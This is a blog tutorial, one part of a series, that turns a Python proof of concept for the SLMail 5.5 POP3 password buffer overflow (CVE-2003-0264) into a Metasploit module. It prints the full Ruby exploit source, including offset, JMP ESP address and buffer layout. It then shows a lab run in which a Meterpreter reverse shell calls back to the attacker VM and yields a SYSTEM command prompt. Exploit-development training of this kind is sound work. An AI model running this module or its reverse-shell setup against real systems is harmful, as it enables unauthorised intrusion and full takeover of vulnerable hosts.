« prev :: next »


In the last section of the tutorial, we finished building a working Proof of Concept exploit and used it to gain access to the Victim VM. In this section, we'll design a “weaponized” Metasploit module from our exploit, so that it can be used with any of the framework's various modules.

I want to preface this section by saying that I am not a Ruby programmer. I've never learned the Ruby language. Yet this is the language in which Metasploit was written, and all of its modules must follow suit. Hence, in this part of the tutorial, I'll be developing our Metasploit module in an alien language. If my code is ugly, that's probably why.


Choosing a Foundation

Since I'm a r00by n00by, I don't want to write the whole module from scratch. I'd rather pick an existing module, carve out its guts, then fill it up with fresh new code to do my bidding. The simpler the module, the better.

To this end, I've chosen to use the gld_postfix.rb module as my foundation. (In Kali, this file is located at /usr/share/metasploit-framework/modules/exploits/linux/misc/gld_postfix.rb.) Here's the source code to the file:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
      'Description'	=> %q{
        This module exploits a stack buffer overflow in the Salim Gasmi
        GLD <= 1.4 greylisting daemon for Postfix. By sending an
        overly long string the stack can be overwritten.
      },
      'Author'	=> [ 'aushack' ],
      'Arch'		=> ARCH_X86,
      'Platform'	=> 'linux',
      'References'	=>
        [
          [ 'CVE', '2005-1099' ],
          [ 'OSVDB', '15492' ],
          [ 'BID', '13129' ],
          [ 'EDB', '934' ]
        ],
      'Privileged'	=> true,
      'License'	=> MSF_LICENSE,
      'Payload'	=>
        {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d\x20=",
          'StackAdjustment' => -3500,
        },
      'Targets'	=>
        [
          [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
        ],
      'DefaultTarget'	=> 0,
      'DisclosureDate'  => 'Apr 12 2005'
    ))

    register_options(
      [
        Opt::RPORT(2525)
      ],
      self.class
    )
  end

  def exploit
    connect

    sploit = "sender="+ payload.encoded + "\r\n"
    sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

    sock.put(sploit)
    handler
    disconnect

  end
end

I copy the contents of that file into slmail_pop3.rb, which I will transform into our exploit module:

cp /usr/share/metasploit-framework/modules/exploits/linux/misc/gld_postfix.rb ./slmail_pop3.rb

Right off the bat, I need to change the name of the exploit and its various informative variables:

  ...
'Name'		=> 'SLMail POP3 Server Buffer Overflow',
'Description'	=> %q{
  This module exploits a stack buffer overflow in SLMail <= 5.5
  POP3 daemon for Windows. By sending an overly long password
  the stack can be overwritten.
},
'Author'	=> [ 'CMSteffen' ],
'Arch'		=> ARCH_X86,
'Platform'	=> 'win',
'References'	=>
  [
    [ 'CVE', '2003-0264' ],
    [ 'EDB', '638' ]
  ],
'Privileged'	=> false,
'License'	=> MSF_LICENSE,
  ...

These variables help the user select the appropriate module, and help the framework know which architectures and payloads can be used. Note that I changed Privileged to false. This module doesn't require privileged access.

Next, I need to update the Payload and Targets sections, to provide more specifics to the framework, and update the DisclosureDate to reflect the data provided by the NIST CVE Database:

  ...
'Payload'	=>
  {
    'Space' => 430,
    'BadChars' => "\x00\x0a\x0d",
    'StackAdjustment' => -3500,
  },
'Targets'	=>
  [
    [ 'Windows 7', { 'Ret' => 0x5F4A358F } ],
  ],
'DefaultOptions' =>
  {
    'EXITFUNC' => 'thread',
  },
'DefaultTarget'	=> 0,
'DisclosureDate'  => 'May 27 2003'
  ...

Note that I allotted 430 bytes for the payload, instead of 427 bytes. This is because Metasploit will automatically handle the stager with the StackAdjustment variable. By setting StackAdjustment to -3500, I tell Metasploit to shift 3500 bytes up the stack before executing the payload. This is significantly more than the 20 bytes we used in our Python exploit, but it will make space for a broader variety of exploits.

I also included a single target, Windows 7, with the JMP ESP address that we found earlier, 0x5F4A358F.

Finally, I added the DefaultOptions section, which tells Metasploit to use EXITFUNC=thread by default. I learned about this by Googling for “Metasploit module default exitfunc,” which led me to a tutorial about writing Metasploit modules, where I found the DefaultOptions value. Since we earlier discovered that EXITFUNC must be thread to avoid crashing the target, I've decided to set this as the default in our module.

Next, I need to update the register_options section to reflect the appropriate remote port. I will also add a default remote IP, assuming both can be set in a similar manner:

  ...
register_options(
  [
    Opt::RPORT(110),
    Opt::RHOST("1.2.3.4")
  ],
  ...

Wonderful! Now all that's left is to update the exploit section to make the magic happen!


Practical Magic

This is where things get a little more tricky. If this is my first Metasploit module, and the first time I've coded in Ruby, then I've got no idea how all this stuff works. However, with a bit of research, context clues, and a little programmer's intuition, I'll tackle this problem and create a solution.

First, I'll take a look at the exploit section from the original source:

  ...
def exploit
  connect

  sploit = "sender="+ payload.encoded + "\r\n"
  sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

  sock.put(sploit)
  handler
  disconnect

end
  ...

From the looks of it, this function performs the following tasks:

  1. Connect to the target
  2. Construct the exploit buffer
  3. Send the buffer to the target
  4. Call the handler for whatever payload is being used
  5. Disconnect from the target

This is quite similar to our own process! It shouldn't be too hard to fix the script to work for SLMail; we just need to adjust steps 2 and 3 to suit our payload. Let's get started!

First things first, I need to construct the buffer that will be sent to the target. For continuity's sake, I'll call this buffer sploit:

  ...
sploit = ""
sploit += "\x90" * 2606 # Pad to EIP offset.
sploit += [target['Ret']].pack('V') # Add JMP ESP
sploit += payload.encoded # Add payload.
sploit += "\x90" * (4089 - sploit.length) # Pad to max buffer size.
  ...

In the Python exploit, we constructed the ordinance by combining the stager and shellcode into a single value, which we then injected into our payload. Metasploit does this automatically, with help from the StackAdjustment value. So to assemble our sploit, we just prepend the necessary padding, add the EIP overwrite to JMP ESP in the same manner that the original exploit used, append the encoded payload, and finish it off with the appropriate amount of padding.

Sending the exploit to the target is fairly simple. I did a little testing prior to writing this section of the tutorial, and found that the only time it was necessary to actually read from the socket was after sending the PASS overflow. Therefore, all we have to do is send the USER root\r\n string, then send the overflow string, then request a response from the server:

  ...
sock.put("USER test\r\n")
sock.put("PASS " + sploit + "\r\n")
sock.get(1024)
  ...

Since Metasploit used sock.put to send data to the target, I figured sock.get was a safe guess for the name of the function to receive data from the target.

In total, the exploit function looks like this:

  ...
def exploit
  connect

  sploit = ""
  sploit += "\x90" * 2606 # Pad to EIP offset.
  sploit += [target['Ret']].pack('V') # Add JMP ESP
  sploit += payload.encoded # Add payload.
  sploit += "\x90" * (4089 - sploit.length) # Pad to max buffer size.

  sock.put("USER test\r\n")
  sock.put("PASS " + sploit + "\r\n")
  sock.get(1024)

  handler
  disconnect

end
  ...

Excellent. Now that I've constructed all the pieces to the exploit, it's ready for testing! (The full source code to the “weaponized” exploit is at the end of this tutorial.)


Testing the Module

In order to test this module, we'll need to store it in a place where Metasploit can find it. By default, Metasploit will search for custom modules in the ~/.msf4/modules/ directory. This module would belong in the exploit/windows/pop3 category, which Metasploit will populate from the exploits/windows/pop3 directory. I create the directory, then copy the module:

root@haxys:~/ShareDrive/BoF-SLMail# mkdir -p ~/.msf4/modules/exploits/windows/pop3
root@haxys:~/ShareDrive/BoF-SLMail# cp slmail_pop3.rb ~/.msf4/modules/exploits/windows/pop3/

Next, I start Metasploit with msfconsole and load the module:

root@haxys:~/ShareDrive/BoF-SLMail# msfconsole
  ...
msf5 > use exploit/windows/pop3/slmail_pop3
msf5 exploit(windows/pop3/slmail_pop3) >

If there were any syntax errors or other problems, Metasploit would have given an error and the module would not have loaded. We're doing well so far. Let's go ahead and use the Meterpreter payload, since it's so popular with all the kids these days:

msf5 exploit(windows/pop3/slmail_pop3) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Wonderful! Now that we've selected the exploit and the payload, let's see what our options are:

msf5 exploit(windows/pop3/slmail_pop3) > show options

Module options (exploit/windows/pop3/slmail_pop3):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  1.2.3.4          yes       The target address range or CIDR identifier
   RPORT   110              yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

As you can see, the RHOSTS and RPORT sections were pre-populated with the values I specified. Likewise, EXITFUNC has been set to thread by default, and the target is set to Windows 7. I'll set the LHOST to my Attacker VM's IP, and set LPORT to 443:

msf5 exploit(windows/pop3/slmail_pop3) > set LHOST 10.10.10.100
LHOST => 10.10.10.100
msf5 exploit(windows/pop3/slmail_pop3) > set LPORT 443
LPORT => 443

I like to use port 443 for reverse shells because it's the default HTTPS port, and as such, is less likely to be blocked by firewalls when establishing outbound connections. (This is a moot point, since our Victim VM's firewall is disabled, but I like to use port 443 regardless.)

I also need to set RHOSTS to the Victim VM's IP:

msf5 exploit(windows/pop3/slmail_pop3) > set RHOST 10.10.10.101
RHOST => 10.10.10.101

Finally, with everything set, I double-check my options:

msf5 exploit(windows/pop3/slmail_pop3) > show options

Module options (exploit/windows/pop3/slmail_pop3):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.101     yes       The target address range or CIDR identifier
   RPORT   110              yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.10.100     yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

Perfect! Everything looks to be in order. Time to test the exploit. I ensure that SLMail is running smoothly on the Victim VM, then launch the attack:

msf5 exploit(windows/pop3/slmail_pop3) > exploit

[*] Started reverse TCP handler on 10.10.10.100:443
[*] Sending stage (179779 bytes) to 10.10.10.101
[*] Meterpreter session 1 opened (10.10.10.100:443 -> 10.10.10.101:49168) at 2019-08-11 16:16:50 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2044 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\SLmail\System>

As you can see, the exploit returned a Meterpreter session, which (according to getuid) was connected to the service as NT AUTHORITY\SYSTEM—the same administrative account we gained access to with our Python exploit. By using the shell command, I was able to get a command prompt on the target system, granting me full control over the Victim VM.


Conclusions

Great work! We successfully transformed our Python PoC into a Metasploit module!

Here's the full source code to our “weaponized” exploit module:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(info,
        'Name'		=> 'SLMail POP3 Server Buffer Overflow',
        'Description'	=> %q{
          This module exploits a stack buffer overflow in SLMail <= 5.5
          POP3 daemon for Windows. By sending an overly long password
          the stack can be overwritten.
        },
        'Author'	=> [ 'CMSteffen' ],
        'Arch'		=> ARCH_X86,
        'Platform'	=> 'win',
        'References'	=>
          [
            [ 'CVE', '2003-0264' ],
            [ 'EDB', '638' ]
          ],
        'Privileged'	=> false,
        'License'	=> MSF_LICENSE,
        'Payload'	=>
          {
            'Space' => 430,
            'BadChars' => "\x00\x0a\x0d",
            'StackAdjustment' => -3500,
          },
        'Targets'	=>
          [
            [ 'Windows 7', { 'Ret' => 0x5F4A358F } ],
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread',
          },
        'DefaultTarget'	=> 0,
        'DisclosureDate'  => 'May 27 2003'
      )
    )

    register_options(
      [
        Opt::RPORT(110),
        Opt::RHOST("1.2.3.4")
      ],
      self.class
    )
  end

  def exploit
    connect

    sploit = ""
    sploit += "\x90" * 2606 # Pad to EIP offset.
    sploit += [target['Ret']].pack('V') # Add JMP ESP
    sploit += payload.encoded # Add payload.
    sploit += "\x90" * (4089 - sploit.length) # Pad to max buffer size.

    sock.put("USER test\r\n")
    sock.put("PASS " + sploit + "\r\n")
    sock.get(1024)

    handler
    disconnect

  end
end

It's pretty incredible to me that in only 75 lines, including whitespace, we were able to assemble a fully-functional Metasploit module from our SLMail PoC.

Well, that's all for now! Check back regularly for more tutorials.


« prev :: next »